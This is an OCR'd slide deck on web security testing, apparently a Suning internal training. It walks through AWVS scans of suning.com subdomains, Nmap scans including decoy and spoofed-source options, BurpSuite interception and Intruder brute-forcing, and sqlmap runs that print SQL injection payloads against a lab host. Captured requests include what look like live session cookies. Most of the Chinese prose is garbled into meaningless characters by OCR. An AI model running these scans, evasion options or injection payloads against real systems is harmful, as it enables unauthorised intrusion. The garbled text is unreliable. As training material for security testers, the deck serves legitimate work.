WEBZENMIXN LRIME

( PDF (LR )

DT

suning.com



$£—af% WEBRZZ2MXTHAM4R
ST AWVSTEEA(HE

F=2F% NmapIBEEZFEHH
SEEln NEIEHERNE
SBhiakly SQLEATRHERNE




- WEBZEMiN TR
g

TITREESINESR | ERVENTEALZENINFIIAEE , HF
WEBZIZHANTE—RRDAEREWE. KRS, WEBNERME. $UERE
THE. BT, Aalih. mEAATIE. IRE/EYRE. NR4ES. BET
2. HFNE. IRETEKR. &EFRS. £ T TEFIAAEL, 22id52
ENNFE—EER (ZRWEBZENNEM ) |, MEREKNT !

1. ERIE , FEEHNHWNBERR TG | EEEGHNEEH—
SIWHES., LTS ADNSHHTIDS/IPSIRE] , SMBSHT , SMTPOT
SNMP#T , SSL#T , VOIPL 1T , VPN , BEENIRE , BiEDHT | IR
FESORR , MENHT , BHADT , Bkt . EFIBSORAIF NG , 81
INDHEERETER , 7554 , XEFEEEENTEFEZNmap ( 5Zenmap ,
ENmapfIEf Lt THR )
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Acunetix Web Vulnerability Scanner ( f&FRAWVS ) E—ERBHIN
EFzelil TERWTEH , 258MNTeREEPETIE , e AT
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@ Acunetix Web Vulnerability Scanner 10.5 (Consultant Edition) = P

File Actions Tools Configuration Help

Q= - 5 B 52 |PE|ER|E|0|@
& start

Tools Explorer o D & | e 52 ~ | Profile: |Default -

= oy
IE‘ Web Vulnerability Stanner p o Scan Wizard
I& web Scanner s acunetx WEB APPLICATION SECURITY
: Scan Type Scan T)(pe

-T._;_Dlgite Crawler Web Scanner Opti Select whether you want ta scan a single website or analyze the results of a previous crawl.
-4~ Target Finder

£, Subdomain Scanner
i Blind 5QL Injector

Mo data to display. Sta

Scan tupe
# Tostananew scal

&, HTTP Sniffer e.Toload the resultg

-+ HTTP Fuzzer

-3 Authentication Tester
A Compare Results

7 Web Services

| Web Services Scanner
= Web Services Editor
—J-{=7 Configuration

----- %] Application Settings
----- ,.;. Scan Settings

----- & Scanning Profiles
—I-{— General

----- a Program Updates

0| Version Information
& Licensing

@j Support Center
@j Purchase

@j User Manual

----- s AcuSensor

‘-.- Here you can scan a single website. In case you want to scan a single web application and
not the whale site you can enter the full path below. The application supports HTTP and

HTTPS websites. > \
@ Scan single website %)\%& “{)n\” /%
SIp Y

“Website URL: | hittps: /4ag, suning. com/ -

u |f wou zaved the site structure using the zite crawler tool you can uze the saved results here.
[ The scan will load this data from the file instead of crawling the site again.

Scan uzing saved crawling results

Filenarne: =

r‘l If pou want to scan a list of websites, use the Acunetix Scheduler.
You can access the echeduler interface by clicking the link below.

http: /Alocalhost 81837

acunetix

m Acunetix Ltd

Activity Window

05.10 11:33.35, [Warning] U W = l | -
05.10 11:33.35, [Error] Cann
Error while connecting to web $2rver

Application Log  Error Log

Ready



O AWVSEDNIHE
g

Scan Wizard X
Scan Type Dpﬁﬂnﬁ
Options Adjust szanning options fram this page.
T arget
Lagin Scanning optionz
Finizh
\y‘. Scanning prafile will enable/dizable different tests [or group of testz] from the test databaseg A
Payload, &

o ¢ CSRF. saL
Scanning profile; | D efault - HE)\\ i’ﬁ:

Amig &k AL

i
It N ERIEEE
Default

_j} Scanning settings allow you to adjuzt zcanning behavior to the curent scanlz).

Scan settings: | Default - Customize

A

Adjust advanced scan settings %ZXZ-‘L&E , @?ﬁ
AR, e,
Showe advanced options it the scan wizard /fﬁ }E&E%

acunetix

< Back || Mest » || Cancel
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Scan Wizard

Scan Type
Options
Target
Login
Finizh

acunetix

Target

Pleaze wait until the scanning iz finizhed. Y'ou can aleso adjust detail: such az operating sustem, webserver,

technology or change the baze path. By entening theze detailz pou can reduce the zcanning time.

Target information

= _i?aq.suning.cum:443
Base path
Server banner
Target LURL
Operating system
WiebServer
E Optimize for following technologies
ASP
ASPMET
FHP
Perl

ColdFusgiondlan
Pythian

Railz

FrontPage

Statuz : Done

/

ngir

httpz: /dag. suning. com: 443/
Lnknown

Lnknown

[awasl2EE]

<=

X B AR SS
we Ay

banner{Z 5

. (=

AlET, B
W RIES
B AT 2

< Back H Mest = ]| Cancel
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Scan Wizard

BRI, Sk
ULEERNTE
HIRS® |, BILAfE
X/ Login
sequenceIfjgE ,
XANIHEEEIL R
i N\ g F
BEEERZE
AWVSELET LA
mERLUGEIN
PRIQE , INRA
=R, AWVSHE
TR
FAFR2FZEER
Z IaHYTIH,

Cptions
Target
Login
Finigh

acunetix

Login

Configure inputlogin details for passwaord protected areas or HTRL forms

Farms Authentication

8‘3 @ Usze pre-recorded login zequence

[F wour website reguires forms authentication, you need to record the steps
website. This will be zaved as a login zequence file and can be used later.

lirikz that will log vou out from the website].

You can alzo specify a section of the website which pou do not want to be crawled [for Ae

Login sequence:

Automatic Forms Authentication

<no login sequences

i i BT B3
ITERTH, A
5 AT RAT

- Q&

‘J T to auto-login inko the

Wiehsite's formz authenticati
The autamatic detection will
ghould not be clicked in ords

FE R
IR K
RIS B

L

Litamatically.
log in, the resticted links which
n by which a valid session can be

identified.

Pleaze enter your credentials below.
IJzemarne:

Paszwiord:

A4

< Back H et » ]| Cancel
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Scan Wizard 28

Scan Type Finish
Options After analyzing the website responses, we have compiled a list of recommendations for the curent scan.
Target

Login AcuSenzor setup

Finish ] ] i
AcuSenzor iz enabled on Acunetis WhS but zeems not to be configured on the target semver(z).

i Ingtall the sensor on wour target serverz). I the senzor iz already installed, set the cormect password
far the serverz] by clicking on customize. You can vernfy if a specific server responds by uzing the
tezt buthan from the senzor zettings.

BIEHHA [Cores |
[ -
%I%\ , /ﬁﬁ Additional hosts detected
f| N is h Gl Some additional hosts were detected. Select the hosts to include in the scan,
1 . .
Enzure that you have permiszion to scan the hosts selected,

10035, zuning. com -

binggo. zuning. com

CArgErs. ChaUning. com

club. suning. com

l:u:-:ial:u.syning.cnm -

Save customized zcan sethings

Y'ou can choose to zave the zettings you've made for future scanz. Thiz can be uzeful if pou are
planning to gcan more similar websites. “r'ou can alzo chose o zave the zettings in a new file by
= clicking the below buttan,

acunetix

| Save to a new template |

< Back ” Einizh | | Cancel |
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@ Acunetix Web Vulnerability Scanner 10.5 (Consultant Edition)

=@ = |

File Actions Tools

Configuration

|Tools Explorer

@ Web Vulnerability Scanner
1@ web Scanner
£ Tools
(3 Site Crawler
p Target Finder
lﬂ, Subdomain Scanner
|4 Blind 5QL Injector
--[&3 HTTP Editor
-4 HTTP Sniffer
-5 HTTP Fuzzer
6 Authentication Tester
-5 Compare Results
[l Web Services
: a Wehb Services Scanner
-4 Web Services Editor
[l Configuration

@ Application Settings
Scan Settings
| Scanning Profiles
=14 General
o Program Updates
..[10] Version Information
@ Licensing
@ Support Center
@ Purchase
4] User Manual
(& AcuSensor

S| & d e

Help

|JNewScan|L_.u FPLEDE@c 5 Eﬂ|f’ f’-‘||§1 |3||ﬁ|'i£'-;l|ﬂi

Report | ,@ |SmrtUR.L: http:/jmsg.suning

Scan Results

[t S Scan Thread 1 ( http://msg.suning.com )

£ [illy Web Alerts (12)

7 () HTML form without CSRF protection (1)

@ Slow HTTP Denial of Service Attack (1)

@ Clickjacking: ¥-Frame-Options header missing (1)
- @ Cookie without HttpOnly flag set (3)

- a0y Network Alerts

@ Port Scanner

A RITEER
TR ERS I
AT A

E Alerts summary 12 alerts

ﬂ Profile: |Default j 4 Start

@

M oacunetix threat level 1
Level 2: Medium

G

=3 Q Knowledge Base (3)

i List of file extensions
List of files with inputs
List of external hosts
= {3 Site Structure

Y

wew \arigtion 1 for user-agent
[&] Cookies

Acunetix Threat Level 2

One or more medium-severity type vulnerabilities have been discovered by the
scanner. You should investigate each of these vulnerabilities to ensure they will
not escalate to more severe problems.

Total alerts found 12
@ Hign 0
© Medium : I
@ Low 10
@ Informational 0
Ok (200)
Ok (200) |3 Targetinformation  hitp://msg.suning.com =)
Ckizna) [ statistics 15769 requests &
= Progress Scan is finished &)

05,10 15:23.01, Flush file buffers.

05.10 15:23.13, Started scanning http://msg.suning.com ...
05.10 15:23.13, Finished scanning.

05.10 15:23.13, Flush file buffers.

1 Application Log | Error Log

Ready
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NmapfRfit 7 FUIEAIIRE ( VLA, wOAE. RS ShRA ., #
(EE Gl ) RFERMIANE,

NmapBtsEN BT RIERRIMEHE R 1T , tBReRESHK. B2, FFerk
50 - HIANF R EER _ERERIEM | SeFBKIE/IDS/IPS | 3fEWebuh ;
HfERHEESFE.

Nmap2FFEirit , alfEhttps://nmap.org/ FEEIRIFHIMRA , Si5E
a | TRJVFEE—R#I | A5,



https://nmap.org/
https://nmap.org/

L

S
nmap -T4 -A ip/domain

EEAMERE DFNIER
D0gE ( A, wmOEHE.

ARSS ShivAMoull, #RFRSW
ol ) B9FETI L.

=

B EES: C\Windows\system32icmd.exe = B
C:“Users 1411085682 >nmap -T4 -A my.suning.com

Btarting Nmap 7.48 ¢ https://nmap.oryg > at 2017-B5-18 17:36 7010+
map zcan report for my.suning.com <192_168.116_10841)>
ost iz up (A.AE65= latencyl.
ot shown: 998 filtered ports
STATE SERUVICE UERSION
open http nginx
_http—server—header: nginx
_http—title: “xE8“xAF“xB7? xE6 Bl 82 “oE5 “xBC 8 2 “xE5 “xB8 “>B8 “>E? “ocA1 “xB5 “xE? “x
2D ~xA2
443 tcp open sslshttp nginx
i_http—server-header: nginx
i_http—title: “xE8“xAF“xB7? xE6 “oB1 %282 “oE5 “xBG 8 2 “oE5 B8 “oB8 “oE? “ocA1 “B5 “xE? “ac

sgl-cert: Subject: commonMame=%_suning.comsorganizationMame=">E8 BB x8F“xES“x
AE~>81 “ocE4 ocBA 91 “E5 “x?5 “oB 6 o E? “oc? B o8 6 “ocES “o¢? B A2 o EB “ocB 2 “ocA1 “E4 BB~ BD“x
6 o0 T ChocB? N ED P P e 2B ES B 5 oA G ocED “ B F B8 /st ate OrProv inceMame =“xEb “xB1 “x?F
BB *x BB xBF " xE7x?C x81 countryName =CN
! Subject Alternative Hame: DNS:suning.com. DNS:*_suning.com
i Not valid hefore: 2016-11-21T15:21:81
i_MNot valid after: 2019-11-21T15%:21:81
i_ssl-date: 2017-85-10TA?:36:38+WA:80; HBs from scanner time.
| tls—nextprotoneg:
H h2
H httpri.1
Jarning: 055can rezults may be wunreliable because we could not find at least 1 o
pen and 1 closed port
Device type: Firewall

F5 Metworks THOS 11.4.H
t cpetso:fhitmoszil.4

08 details: F5 BIG-IP AFM firewall
etwork Distance: 9 hops

RACEROUTE <using port BB- tcpl
OF RTT ADDRESS
2.88 ms bogon (1B8.24.8.86>
1.880 ms 192 _168.112._281
6.8 mz bogon <192_.168.12_5>
8.88 ms bogon <168.111.16.157>
... B
7.80 mz my.suning.com (192_168.116.184>




FHAI : nmap -T4 -sn ip/domain

sllzepssd1411B8502 2nmap —-T4 —sn my.suning.com

tarting HNmap 7.48 ¢ https- “nmap.org » at 2017-A5-168 17:43 D10+
map s=can report for my.suning.com €192_168.116.184>

ost dis up <A.AB58= latencyr.
map done: 1 IP address <1 host up? scanned in 6.98 seconds

im[F3 - nmap -T4 ip/domain

tsllzeprss14118582 >nmap —-T4 my.suning.com

Starting Mmap 7.48 ¢ https: snmap.org > at 2017-85-18 17:47 D1l
map scan report for my.suning.com <192.168.116.184>
ost iz up (A.@11s latencylr.
ot shown: 998 filtered ports
STATE SERVICE
B0 tcp open http
143 /tcp open https

IP address <1 host up? scanned in 7.39 seconds

map done: 1




FRA{T : nmap -T4 —sV ip/domain

tsllzers s 14118582 >nmap —-T4 —=U my.suning.com

Starting Hmap 7.48 ¢ https: “nmap.org > at 2017-05-160 17:48 D10+
map =can report for my.suning.com €192_168.116.184>

ost iz up (A.A14=s latencylr.

ot shown: 998 filtered ports

PORT STATE SERVICE UERSION

BA-tcp open http ngin
443/tcp open =slshttp nginx

Service detection performed. Please report any incorrect results at https:- “nmap
orgseubmits .
map done: 1 IP address <1 host up? scanned in 23.28 seconds




EERSHH - nmap -T4 -0 ip/domain

tsllzeprs s 14118582 >nmap —-T4 —0 my.szsuning.com

Starting Nmap 7.48 ¢ https://nmap.org > at 2017-B5-10 17:49 7D10 T

map scan report for my.suning.com <192.168.116.184>

ost iz up (A.BB53=s latencylr.

ot shown: 998 filtered ports

STATE SERVICE

B0 tcp open http

443 /tcp open https

Jarning: 055%can results may he unreliabhle hecause we could not find at least 1 o

08 CPE: cpe:ro:fS5:tmo=:11.4
08 details: F5 BIG-IP AFH firewall

08 detection performed. Please report any incorrect results at https:is/nmap.org”
ubmits .

map done: 1 IP address (1 host up? scanned in 13.63 seconds
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1. fEEM O SIPHbE
NmapigE B O RIXEDE | -e <interface>EIH,

Bl nmap -e ethO my.suning.com

Nmapal AR R ARIZATRIHIPHENE, (EFE-S <spoofip>3Ela
nmapgFEiEERIspoofiplERIRImIPR ZIEIRNE.

BT LAEEREDecoy A T RIS E ESCAYAbIE |, 41an-D
ipl,ip2,ip3,ip4,ME |, XtEFST=EZ 1 EEipRESXS Bistld 7w |, &
PMERRANBIESCHEE | XENS AR XIEASZ IR H 2R ENSHD.

Bl nmap -T4 -F -n -Pn -
D192.168.1.100,192.168.1.101,192.168.1.102 ME 192.168.1.1



<9 NmapSPukla

L

2. EHEFENE

NmapfgfH--scanflagsi®tlil , AILANEE XA TCPIRNB AT RERLH
TR, TLAERSEERFSIEETCPIREAL ¢ URG, ACK, PSH,RST,
SYN,and FIN,

Bl : nmap -sX -T4 --scanflags URGACKPSHRSTSYNFIN
192.168.116.104

W SEELITCPIREN 1 |, ST TR EEIRIZ SRR,
BIMER--ip-optionsET LAERIIPEAJoptions=FER,
(E-SISEREBAVIPHELL , -DigFE—HIEIRIPHELE ( MECRESCHENE )
-eIEEAIEIRNBRIMZEEEO |, -g ( --source-port ) I5ERRO , -fISEF
Eﬁﬁ#ﬁﬁ?ﬁ%ﬁ%ﬁﬂﬂ@ , --spoof-madigEFAEIRIIMACHELL, --ttiExE
20111
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= R
S RRBR S R RE RN | MR R HTE
RTERI , BB LEFHIR N I ES BB BN 2.

1. SYN$3##
M FEEZARRISYNIF G TR R im O AR,

< - nmap -sS -T4 my.suning.com

2. FIN#345

FAAFINIFREA TR KA. FINREASXBETREEOSEXA |
IEIRSTRIS R ZimAXA . BN Ropendifiltered iRz,

< - nmap -sF -T4 my.suning.com

3. ACKf3#y
FAAACKIEHIMIR OB HITIE. FIXTACKIRNE |, RKudiEaYim
( ZieF]F. XA ) =RBIERSTH,

< - nmap -sA -T4 my.suning.com
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=. FAHEWEBILHA :

Nmap{EA—EXFRRRIR33HEEE |, IIWebiFE A E ST thiksiikia g
o] LASERk WebE RS EIRN : lRFBEIRAE. ISMHTTPA L. EEE88H
BiEE. BaiNmap®XtWeblIsziFEEi@id Luafil AL , NSEfIAZE S
HBE50Z MNHTTPIERAYHIA,

< - nmap -sV -p 80 -T4 --script http* default my.suning.com
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BurpSuite B TEEWEBN FIfEEFHISERFE. EEBETITFEZTIA , 7
FAXETRigit 7iFEEM. AN TRESEE— 8t EBEHZERHTTPER
A AR, R, BE , EREI— 1M EXBIATT RAVESR.

BurpSuite TE#E :

Target—ICRGRER , HEXTEHITHE.
Proxy——F=#(HTTP/SEYRIEIRSSRS , (FA— 1 EXSEF BirN AR ZERFELA |
I F=8EEESER A [ LRI EIETR.

Spider——h FIEERERAEIMNLRICR , BRESEAIINEN FBIEF NS FITIEE.

Scanner BreE sttt ATweb N B FHNZLTRIH.
Intruder——EH B ERETE , XwebNBREFHITEIMLIGG | W0 : MEFRR
7, WESBEUELAR ERfuzzing AR SRR,

Repeater——FEF BRIV BMAIHTTPIER , HotrAREFHmRITE,
Sequencer—— o ARE AR TAIAINIZ F 215 < A EEEWEIREY A T .

Decoder—— 1T oA TEXS N FBfE P AR S BefR D dmBRY LA,
Comparer——iEid &K IEXKAN A S E R IEHRIN— 1 el AL RIER.

BEREEEEProxy, Intruder, Repeater=/1"I1H



BurpSuite

1. Proxy ({ti2)
REINEEFEERA BB EFRFHMERGE K. N THEREIEK |, FRIEHITIRE |
HilacHmEwENmaaVE , LI

RE SR EEX R
[ TERMREY)

() ETMERSREEEW)
@i )

@) FHEERE : (M)

HTTP 38 : (0| 127.0.0.1 #0: (@) 8080
ShEF S ERERRES)
SSLAE :  127.0.0.1 #0O:(0) 8080
ETP A : | 127.00.1 =0 : (R) BO8O
SOCKS x4 : | 127.0.0.1 L : (1) 8080

SOCKSv4 @ SOCKS w5




BurpSuite

L

oy EBUTPSUHEEIRANCE | READIERT R SRR
2IHEE -

E Burp Suite Professional v1.7.11 - Temporary Project - licensed to Larry_Lau

Burp Intruder Repeater Window Help

Target | Proxy I Spider T Scanner I Intruder I Repeater T Sequencer T Decoder ] Comparer I Extender T Project options I Uzer options IAIerts 1

[ Intercept T HTTP history IWEhSuckets history T Options }

3

®

ﬁ Burp Proxy uses listeners to receive incoming HTTP reguests from your browser. You will need to configure your browser to uge one of the lietenars 3z it nroxy server.

| Add | Running | interface | Invisible | Redirect | Certificate | IZE E(] ,ﬁ; I
- @ 127.0.0.1:3080 O Per-host &Eglﬁﬂﬂ
Edit <i i
b
Remove IP . ﬁ% D _I%L

Each inztallation of Burp generates itz own CA certificate that Proxy listeners can use when negotiating SSL connections. ou can import or export this certificate for use in other toolz or another installation of Burp.

l Impaort / export CA certificate J l Reqenerate CA certificate J




< BurpSuite
‘o

EEEIEE  AHITEN

E  Burp Suite Professional v1.711 - Tamnaran: Draiact - licensed to Larry_Lau = | B &

Al ‘}'[_ A
Burp Intruder Repeater Window ﬁ%uﬁj\joni@
SRR e
Target | Froxy | Spider | Scal Z]_\‘j:—‘_éi‘zly\('u“ " Off quencer I Decoder I Comparer I Extender I Project options I User options Tﬁtlerts ]
FoniEdIRES
J ntercept I HTTP history IWEhfmm e

— =

rﬁ Reguest to hitp.//my suning.com:20 [192.168) .104]

l Forward J l Drop J [ Intercept is on ] Action iﬁ*mﬁ%miﬁﬁf
J |2|.=.|41 Fi}rams I Headeéw F%x ] ,TI%EQ’ ﬁ%ﬁ%%\

'\Jl

cookie. FH., =

M2 "
Forwardi%ﬂ; Drop\i%?z B AT i |
AR S AR | B D ws NT 6.1; WOWS4; rv:51.0) Gecko/20100101 Firefox/51.0

ﬁﬁz?&@, i&:ﬂ%@, ehtmltaml, application/eml ; q=0. 9, ®,/% g=0. 8

Accept—Language: zh—CH, zh;q=0. 8, en~U5; q=0. 5, en; g=0. 3
Accept—Encoding: gzip, deflate
Cookie: _smma=1%TC1485222553488979188%7TC1485222534889%TC14945TE380008%TC14945T8 397 106%TCE2THTC131 ;
_pa=A1. 2. 1303725407, 14852225355 ;
_ ==av=14852225 34880 T018E%TC1480222030286%TC 14940 TEIE931THTC14845TE30 T4 1 THTCAIERTC12THTCO ;
_dewvice_session_id=p_fcd2h3f5-1867T-4e0E8-9d57-99cG4a51fff5; custne=607T7T979512;
SH_CITY=100_025_1000173_9173_01_115365_2_0; districtId=11365; index_wvw3=1; citvyId=9173;
_cp_dt=21a257dc—236f-1ad8-84f2- 24488 £ 4584807029 ;
WC_PERSISTENT=mII=s1L032]GE5qla8usulndSk I%3 d%0a%ib201 THad0E%2 A0S+ THhiaZ4%3ab ThIe3T2%0E 149155281 320 T%2 1535 20%
5f10052; Hm_lwt_chbl2e33al5345914e419a2ed82a2a216=1191965258 ;
smhst=128018199 | 0000000000a1247 79171 | 00T0082005a503564 761 |0000000000a121276759 |00T0118657 ; WC_SERVER=10;
idsLoginUserIdlastTime=mg%I0dg. com;
_zaPageSalelnfo=607 797901 2%34103510700_007T0093346%TC149508547353280909400% T Cesden_search_pro_buyl2-1_0_0_1035107 r/

00_00T00953346%2C107655419_00T00925316% TC119 30834 7332899109% Cesdsn_search_pro_buyl5-1_0_0_107695419_00T0022316

(A0 Tl T e T T T T T T = = A e S e T L 2 3 M e Ll o T T 1 Al PP PSP VY, P SRR TP L e I T i T I T e o T O T T T e = T M LT e R e Wi T




'« BurpSuite

L

E Burp Suite Professional v1.7.11 - Temporary Project - licensed to Larry_Lau =NNCN X
Burp Intruder Repeater Window Help
[Target ]' Proxy T Spider I Scanner I Intruder I Repeater T Sequencer I Decoder T Comparer T Extender I Project options. T User options IAIerts ]
HTTP history TWehSuckets higtory T Options ]
Fitter: Hiding CS5, image and general binary content; matching expression suning ?
# | Host | Method | URL | Params | Edited | Status | Length | MIME type |
70 http:imy suning.com GET I _ — [] | i
o9 http:/ficps.suning.com GET licpe- Lo O = — T
=7 http:/tuijian.suning.com GET frecor| Addto scope O N
- HJ A L/
56 http:fmy 2uning.com GET IgetEv  Spider from here ] Ej“ﬁ;ﬁ‘ l URLTX—J‘
53 http:#/shopping.zuning.com GET !mySH Do an active scan B :/H\:Ji;é'ﬁz ’ WIJ ﬁnﬂ
51 http:/ituijian. suning. com GET frecor  Send to Intruder Ctri+l jJD)\| ntruder.
52 hitp:/imsg.suning.com GET Iservit  Send to Repeater Cirl+R Repeate F%I,E\‘E‘
c4 http:ifavorite suning.com GET fajEl  zend to Seguencer O iﬁ’?‘}iﬁ_‘ﬁﬁ’f/ﬁ
55 http:#ftuijian.suning.com GET Irecon Send to Comparer EI
43 http:ferder.suning.com GET Ipubig Request in browser > L ZUU 515 SCTIPT L
45 http:iimy =uning.com GET Ipointll - 200 347 text
| S . ¢ Engagement tools > U _II'r
LS L
j ’4 Show new history window
W_ i‘zim‘ uﬁ Add comment
e Highlight 3
o A |
\EE;‘R ‘EAZIZKL Delete tem
GET / HTTP/1.1 HIE K103 s hisioay i
Host: my. suning. com Copy URL
User—Agent: Mozilla/5.0 (Windows NT &.1; WOW Coy as curl command efox/51.0
Leecept: text/html, application/zhtmltxml, appl F":f.
Accept-Language: zh—Cl, zh:g=0.8, en-US: q=0. 5, | =aveitem
Accept—Encoding: gzip, deflate Proooy history help




< BurpSuite
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2. Intruder ( A2 )

rl, Burp Suite Professional w1.7.11 - Temporary Project - licensed to Larry_Lau o | B X
Burp Intruder Repeater Window Help
[ Target I Prosxy I Spider I Scanner Ihtn.lde.r T Repeater I Sequencer ]' Decoder I C ﬁﬁiﬁlﬁ: itions I Alerts ]
2. sinper— HLA™ 11 fif
Target | Positions T Payloads I Options ] batt_ermg ram_ﬁﬁlﬁ{—t

| [ Torge pitchfork— 2 ™1 faf
@ Payload Positions cluster bomb—Z #1 4 i AX Start attack
Configure the positions where payloads will be inserted into the base request. The attack type determines which payloads

are assigned to payload positions - see help for full details.

Afltack type: l Sniper | TJ
WC_PERSISTENT="mII=s1L032]GE5qlalusulndSk I%3dR0akib201 THE d0E%H2d0E+H1 %3 a2 1%3ab Thae 3T 2HE | i Add §
£1491552013207T%2d153520%5€10052; Hm_lwt_cbl2e33a153450914e449a22d82a2a216=1191965253 ; r
smhs+=128018199 | 0000000000a1247 79171 |00T0082005a503564761 |0000000000a121276759 | 007011 Tﬂrﬁ
2657, WC_SEEVER=10; i1dsloginUserldlastTime=mg%h10dq. com;
_saPap- ST S-—sessasamaana | R 10700 _00T00833468%TC14930834 733 2809400% Casdsn_search Tﬂﬁ
_pro_ &E/}E%’ iiilﬁ TO093346%2C10TESEA19_00T0092516%TC119308 34T 332899409% T s
zdsn_ A 7698418 00T0092316%2C103510700_00T0153176%7C14930834733 W
28994 J:E'Zj:g‘fﬁﬁﬁ E‘Jiﬁu vE-1_0_0_1035107T00_007016317T6%2C128018199 _0000000000%TC ;J
11938 AN TiAS g4k voddty=1; _snme=1; _snsr=direct%TCdirect®TCHTCHTC; -

srmb I5TE3891153%TC14945TE389105%7C1 ;

srmp=14945783 7092
Connection: clo

uzername= & mgHhdldg. com &




BurpSuite

L

E  Burp Suite Professional v1.7.11 - Temporary Project - licensed to Larry_Lau = B X

Burp Intruder Repeater Window Help

[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T U=zer options T Alerts ]

w |2 =

i

[ Target I Positions TPayhads T Options ]

@ Payload Sets Startattack |

%ou can define one or more payload setz. The number of payload sets depends on the attack type defined in the Positions tab.
“arious payload types are available for each payload =et, and each payload type can be customized in different ways.

Payload set. | 1 | p .
ayload e |_ |TJ G &E
Payioad type: | Simple list v payloadf]

@ Pa"-}' oad Clpr_ ons [5 mple 5[]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste

Load ... m‘ﬁ%gj‘}\
P SOPFERER
payload

Clear

Al

Add

m
o
1
(81}
o
o
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3. Repeater ( H4kE8 )

E Burp Suite Professional v1.7.11 - Temporary Project - licensed to Larry_Lau = | B %

Burp Intruder Repeater Window Help

[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts ]

Go Cance < | 2| l Follow redirection J Target: h ﬁmﬁﬁﬁﬁﬁﬁlﬁl @ ?

Request Respons

J Raw T Params T Headers T Hex ] Raw | Headers | i

GET / HITE/1.1 Repeaterﬂlproxy |.L HITE/1.1 302 Found |.t
. . . oL

Host: mv. suning. com 5'519\’ Ef@”@ﬁﬁl T Server: nginx [

User-Agent: Mozilla/5.0 (Windows NT 6. 15 R s Date: Fri, 12 May 2017

Gecko/20100101 Firefox/51.0 09:20:31 GNT

Lecept: text/html, application/xhtml+eml, applic wml q=0.9, %% q=0.8 Content-Type: text/plain

Accept—Language: zh—CIH, zh;g=0.8, en~U5; g=0. 5, en; 3 Content—Length: ©

Accept—Encoding: gzip, deflate Commection: close

Cookie: Expires: Thu, 01 Jan 1970

_snma=1%TC1485222054880T0188%TC 14802220 34880%TC 14944914159 35% T C 149407463 Q00000 GNT

GA9ERTCE20%TCLI0; _ga=GAl. 2. 1303725407, 14852225355, Cache—Control: no-cache

_ =sav=148022205488070188%TC 1450222530 286% TC 14944052571 38%TC14944914172 Pragma: No—cache

DOk TCEDERTC120%TCO ; Location:

_device_sesszion_id=p_fecdZh3fh-1867T-4e0E8-9d57T-909cG1a51f££5; "'j https://passport. suning. com/i

custne=G07T7T97T9512; SN_CITY=100_025_1000173_9173_01_11565_2_0; ds/login?service=https%3A%IF%

districtId=11365; index_w3=1; cityvId=9173; 2Faq. suning. com%2FaschZFauth%

_cp_dt=21a25Tdec- 2361 4al3-84£f 2-2c 80 £ 4084507029 ; JFtargetUr1%3DhttphabSARIE2F%

WC_PERSISTENT=wmII=1L032]GE5qlafusulndSk I%3 d%0a%5b201 TH2d0 %2 d0E+1THIal 262Fmy. suning. com%252FkloginT

%520 TH2e 3T 2%0E 149155291 320 TH2d10 30 20%EE 10062 ; heme=bZc

Hm_lvwt_chbl2e33al15345914e449a2ed52a2a216=1491955258 ; Varyv: fccept-Encoding

smhst=128018192 |0000000000a124779171 |00 700820055603564 761 | 0000000000212 [




'« Fiddler
g

BT BurpSuite , FiddlertBdFEBR , BHINBEARVNG , AMOFHHE.

Fiddler2—MhttptSUBREE TR | BRBCRARERTEIRAJEIK
FIEBARZ [ERShttpi@iR, , IR BT , TEFTEAY ¥ FiddlerfU%dR
(#5cookie htmljs,cssZE3rf | IXEEEBRTLIHFMEMAURE ) . Fiddler Bk
AN EL S EEEE , BACRUNEE B TR R T— N A
PRIFAIRE.
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<9 SQLiEA
L

SQLEANEN : AFPAJLMRRR—EREIEEE NS , BTFEFPEA , 1B
ESQLEG—EE |, FRLATLAIEXES2 RS | iFABCENANEST , &
LSQLEaHITIZEE |, itEEEN T EEE CEEESIRIBIERREINER |
RS FLARERAVEEE | XFEFMBAYISQL Injection , BISQLIEA., SQLFE
AN E BN EEER TNENEAFERC— |, SQLEAKESEHRIEUEER
EXCEIE : RIE. HBEE. 1ERE.

HEIRISQLEATEAESQLmMap. Pangolin, SQLninjaZs4:,



' SQLmap

SQLmapR—mXARENSFIBSQLUENRRINREITFELR , Bz
BRSNS FIREEEEIEN. MREENGRSR. HiTm<S . 3iesqlmapiX4
— P urlfJit iz , BS
FIRTRLENRISEL
FIRreT LAFBBFSQLIEANBIARKIEN
TRB R EE e
IRIBFIIERE | SEEpLE AR

sqlmap>iFAMARRGENERD :
ETmREE
ETHERNEE
ETIREEN
BRaEmiEA
WEIIEN

sqlmap>ZFFHIEHERES !
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access,
IBM DB2, SQLite, Firebird, Sybasef1SAP MaxDB

YV VY

YVYVVY



' SQLmap

L

L IHEANREATHRN

B : sqlmap —u Fg§EFNAurl
5 : sqlmap -u "http://192.168.244.128/sqli/examplel.php?name=root”

root@daxueba:~# sqglmap -u "http://192.168.244.128/sqli/examplel.php?name=root

{1.0.8.2#dev}

[!] legal disclaimer: Usage of sglmap for attacking targets without prior mut
It is the end user's responsibility to obey all appli

ual consent is illegal.
cable local, state and federal laws. Developers assume no liability and are
ot responsible for any misuse or damage caused by this program

[*] starting at 11:11:37

[11:11:38] [WARNING] heuristic (basic) test shows that GET parameter 'name’



' SQLmap
K

IRMZEER -

® SEASEUNGETIEN | iEAZERELS : UNION query,
webfREEE RS ILinux Debian 6.0

web B2 AR/9 : PHP5.3.3

HUERESEALA - MySQL5.0.12

Parameter: name (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: name=root' AND SLEEP(5) AND 'Hmog'='Hmog

Type: UNION query

Title: Generic UNION query (NULL) - 5 columns

Payload: name=root' UNION ALL SELECT CONCAT(Ox716b766271,0x756a5479557743
45544575554a64517347675466585a564576636a7863686556534a6a726c744d76,0x71626b76

71) ,NULL,NULL ,NULL ,NULL - - Siue

[11:15:11] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0.12

[*] shutting down at 11:15:11



' SQLmap
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2. BE .
& - sqlmap —u I§EENRurl --dbs
5] : sqlmap -u "http://192.168.244.128/sqli/examplel.php?name=root" --dbs

Title: MySQL >= 5.0.12 AND time-based blind
Payload: name=root' AND SLEEP(5) AND 'Hmog'='Hmog

